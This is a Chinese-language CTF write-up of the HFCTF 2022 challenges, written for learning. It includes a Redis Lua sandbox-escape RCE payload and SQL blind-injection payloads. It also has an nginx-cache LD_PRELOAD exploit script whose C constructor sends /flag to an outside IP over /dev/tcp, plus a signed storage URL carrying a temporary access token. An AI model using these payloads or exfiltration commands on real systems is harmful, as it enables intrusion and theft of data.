虎符网络安全CTF大赛在3月19号—3月20号已经落幕了,本次比赛斗哥一共派出了两只队伍参加,经过32个小时激战后成功杀进了决赛圈,分别获得企业队第六、第十六名的名次,总共攻破7道题目(4道Misc,2道Web,1道Reverse)。因为本次比赛是由清华大学以及奇安信集团联合举办,所以赛题出的也是相当的给力,在本次比赛中,带来的收获也是颇多的(据参赛选手说,如果不是因为时间有限,还能答出更多题目呢。),下面就由斗哥给大家分享这次比赛的精彩题目吧~
一:Misc | Check in
请给出步骤及截图:
此题是签到题,(CTF的签到题普遍比较简单,在这边只需要关注公众号即可)
二:Misc | Plain Text
请给出步骤及截图:
进入到题目,首先看格式就可以初步判断为base64,然后进行base64解码。
解码得到的结果:
dOBRO POVALOWATX NA MAT^, WY DOLVNY PEREWESTI TO NA ANGLIJSKIJ QZYK. tWOJ SEKRET
SOSTOIT IZ DWUH SLOW. wSE BUKWY STRO^NYE. qBLO^NYJ ARBUZ. vELAEM WAM OTLI^NOGO
DNQ.
解码后将结果尝试放到翻译软件。
翻译软件判断为波兰语,但是翻译出来的语句不通顺,且有几个单词没翻译。所以判断是为其他语言编码。
通过搜索前面几个字段的内容,发现网页显示了很多俄文的网站,所以判断是俄语编码,然后可以通过iconv命令来转换编码。KOI-7为俄文编码格式,我们通过linux来将句子编码成原有字句。
(这题有点坑,这个苹果西瓜一直连不起来,后面才看到_)
HFCTF{apple_watermelon}
三:Misc | Quest-Crash
请给出步骤及截图:
题目写着崩溃。进到页面,也很大两个字,Crash me(崩溃我的意思)。
根据题意,就是要让服务器崩溃掉嘛,那么最简单也是最暴力的方法就是,暴力破解(一直往服务器内部输入数据)。
我们通过Get方式尝试了下没什么作用,并不能够存储数据到服务器,就试了一下SET请求。然后请求了几次发现,用户向服务器发送的数据,都会在页面中显示出来。
那我们可以打开bp,开启抓包,使用爆破功能一直往set请求向服务器发送数据,直到他溢出。服务器崩溃,我们的目的就达到了。
第一个位置的值是为key值,第二个为value值,爆破时要将value值输入的数据大一点,我们爆破的次数就会少一点。
在info中,滑到最底下keys可以看存入了多少数据。
等到爆破时状态码从200变成了500时,那么就说明服务器内部错误,就是崩溃了。
我们点击页面开始报错了,显示服务器内部错误。
这时点击getflag。
得到flag。
四:Misc | Quest-RCE
请给出步骤及截图:
此题和前段时间爆出的(CVE-2022-0543)有相似之处,Debian 以及 Ubuntu 发行版的源在打包 Redis 时,不慎在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。
我们通过redis执行多条命令bypass掉白名单,然后换行就行了,Payload直接出。确认lib路径,指向该路径,直接RCE。
然后通过%0a发现无果 rn 执行多条语句
执行ls,查看目录。
发现了一个flag文件,通过cat查看。
得到flag。
Payload:
{"query":"SET A Arneval "local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_io'); local io = io_l(); local f = io.popen('cat xxxxxxxxxx', 'r'); local res = f:read('*a'); f:close(); return res" 0 rn"}
此处附上赛题源码。
from flask import Flask, request, send_file import socket, time, subprocess, re app = Flask(__name__) WHITELIST = ['SYSINFO', 'SET ', 'GET ', 'INFO', 'KEYS ', 'FLUSHALL',] BLACKLIST = ['SLAVE', 'CONFIG', 'CLUSTER', 'SHUTDOWN', 'ACL','COMMAND','FAILOVER','MEMORY','MODULE','SAVE'] @app.route("/") def index(): return send_file('index.html') @app.route("/assets/water.min.css") def css(): return send_file('assets/water.min.css') def recvall(sock): BUFF_SIZE = 4096 # 4 KiB data = b'' while True: part = sock.recv(BUFF_SIZE) data += part if len(part) < BUFF_SIZE: # either 0 or end of data break return data def reqredis(command): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('127.0.0.1', 6379)) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) time.sleep(0.1) sock.sendall(command) time.sleep(0.1) ret = recvall(sock) sock.close() ret = ret.decode() ret = re.sub(r'^+','', ret) ret = re.sub(r'^-','', ret) ret = re.sub(r'^*.*n','', ret, flags=re.M) ret = re.sub(r'^$.*n','', ret, flags=re.M) if len(ret) == 0: ret ="[Empty response]" return ret @app.route("/sendreq", methods=['POST']) def req(): data: str = request.get_json()['query'] if data == "SYSINFO": return subprocess.check_output(['uname', '-a']) + b"nn" + subprocess.check_output(['dpkg', '-s', 'redis-server']) +
b"nn" + subprocess.check_output(['ps', 'aux']) for i in WHITELIST: if data.startswith(i): break else: return "Operation not in whitelist: " + str(WHITELIST) for i in BLACKLIST: if i in data.upper(): return "Blacklist" + i return reqredis(data.encode()+ b"rn") |
五:Web | babysql
请给出步骤及截图:
进入靶场查看限制,先从账号上面做文章,然后发现账号不过滤单引号,然后开始对密码进行尝试。
尝试多次后发现过滤的字符太多了,只能使用like函数,用like函数爆出两位特殊字符后,就开始爆剩下的字符了。
如果页面返回401则为账号密码错误,如果返回500则为SQL查询语句错误。
通过页面返回的结果可以判断为布尔盲注,即可爆出所有的密码。
通过盲注,来不断猜测字符。最后得出密码为
m52fpldxyylb^eizar!8gxh$
payload:
username=a%27||`password`like%27m52§6§%25%27%26%26`id`=%271%27||`password`regexp'[&password=1 |
因为like语句查询是不区分大小写的,所以我们得到的密码还需要爆破大小写转换问题。
通过爆破,2的十八次方,成功获取正确的payload。
登录密码为:m52FPlDxYyLB^eIzAr!8gxh$
因为暴力破解的次数需要的非常多,是比较麻烦的,所以在赛后又去研究了下like语句如何区分大小写。
Payload:
username=b%27||`password`COLLATE%27utf8mb4_0900_as_cs%27like%27m52F§6§%25%27%26%26`id`=%271%27||`password`regexp'[&password=1 |
通过COLLATE’utf8 来做like语句大小写的区分即可。
六:Web | ezphp
请给出步骤及截图:
参考:
https://tttang.com/archive/1384/
https://tttang.com/archive/1450/
赛题靶场:
https://buuoj.cn/challenges#[HFCTF2022]ezphp
赛题源码:
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022'); |
os是debain 不是centos bash_func这个技巧没有用,因为system调用的是sh -c而不是 bash -c,
debain/ubuntu下sh是dash。
发现nignx缓存,动态链接加载。只需要想办法写入so文件到nginx缓存就可以了。
然后尝试复现。
Flag.c:
#include <stdlib.h> #include <string.h> __attribute__ ((constructor)) void call () { unsetenv("LD_PRELOAD"); char str[65536]; system("bash -c 'cat /flag' > /dev/tcp/1.13.248.170/8888"); system("cat /flag > /var/www/html/flag"); } |
通过linux将C文件生成so。
EXP:
import sys, threading, requests URL = 'http://2d99086e-132c-48b7-a826-1024adf88884.node4.buuoj.cn:81/' nginx_workers = [12, 13, 14, 15] done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data=open("C:\Users\86137\Desktop\py\libsss.so", "rb").read() + (16*1024*'A').encode()) for _ in range(16): t = threading.Thread(target=uploader) t.start() def bruter(pid): global done while not done: print(f'[+] brute loop restarted: {pid}') for fd in range(4, 32): f = f'/proc/{pid}/fd/{fd}' print(f) try: r = requests.get(URL, params={ 'env': 'LD_PRELOAD='+f, }) print(r.text) except Exception: pass for pid in nginx_workers: a = threading.Thread(target=bruter, args=(pid, )) a.start() |
在通过py脚本,一直往服务器传写入so文件,之后在URL后面访问flag,得到答案。
在URL后+/flag下载。
七:Reverse | fpbe
请给出步骤及截图:
赛题附件:
https://tsingqian-datacon-private-pro.oss-cn-shenzhen.aliyuncs.com/22/question_attachment/3e775e97b14847a4961a0094be09c63f.zip?Expires=1649403998&OSSAccessKeyId=STS.NTrpSPqC9YLn3Aif5DdY5iBZb&Signature=807XUgkijb9KX%2F86QgDwFLGGcXg%3D&security-token=CAIS9wF1q6Ft5B2yfSjIr5fHO%2BnknJwY7o6FMWfYgjURaNYZhofxgDz2IH1MenlqAu0ctvoxnmlR7vcSlqJrUZ5bTFDJWtNq6czxHqkLi9KT1fau5Jko1beHewHKeTOZsebWZ%2BLmNqC%2FHt6md1HDkAJq3LL%2Bbk%2FMdle5MJqP%2B%2FUFB5ZtKWveVzddA8pMLQZPsdITMWCrVcygKRn3mGHdfiEK00he8Tojsfjhk5zDsUCB0galmr8vyt6vcsT%2BXa5FJ4xiVtq55utye5fa3TRYgxowr%2Fou0vweomqd5o%2FDWQAIu0TWKY%2Fd9tx%2BMQl%2BfbMgHKpJvBxdJDGCYDu5GoABgF6irfw4E%2BV1tgZXoguGcmBA7o05zM1zAiJF8jIrF7ONnIijAb5sZXS8hJp8I45RaYchAojnH8muWxLiXeIrJJHo0B4WpFfqOsf6SZMUWFG%2Byrcteumw9ze3EzDrtnwfHU7kRZCZVsZabak7T8LZ1gfercgCnBCjOUX%2BDfhD6vg%3D |
(将此段链接输入到浏览器下载附件)
IDA动态调试,获取汇编代码,定位ELF文件头部信息(动态调试获取内涵ELF文件)。
插件导出或利用llvm-objdump命令。
llvm-objdump -S
再使用z3,编写脚本解题。
from z3 import * flag1 = BitVec("flag1", 32) flag2 = BitVec("flag2", 32) flag3 = BitVec("flag3", 32) flag4 = BitVec("flag4", 32) s = Solver() s.add(flag3 * 0xfb88 + flag4 * 0x6dc0 + flag2 * 0x71fb + flag1 * 0xcc8e == -0x5e8ca66b) s.add(flag3 * 0x6ae5 + flag4 * 0xf1bf + flag2 * 0xadd3 + flag1 * 0x9284 == -0x1aabfcc0) s.add(flag3 * 0x8028 + flag4 * 0xdd85 + flag2 * 0x652d + flag1 * 0xe712 == 0xa6f374484da3) s.add(flag3 * 0xca43 + flag4 * 0x822c + flag2 * 0x7c8e + flag1 * 0xf23a == 0xb99c485a7277) print s.check() m = s.model() print m |
原文始发于微信公众号(国科漏斗社区):虎符网络安全CTF writeup分享
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论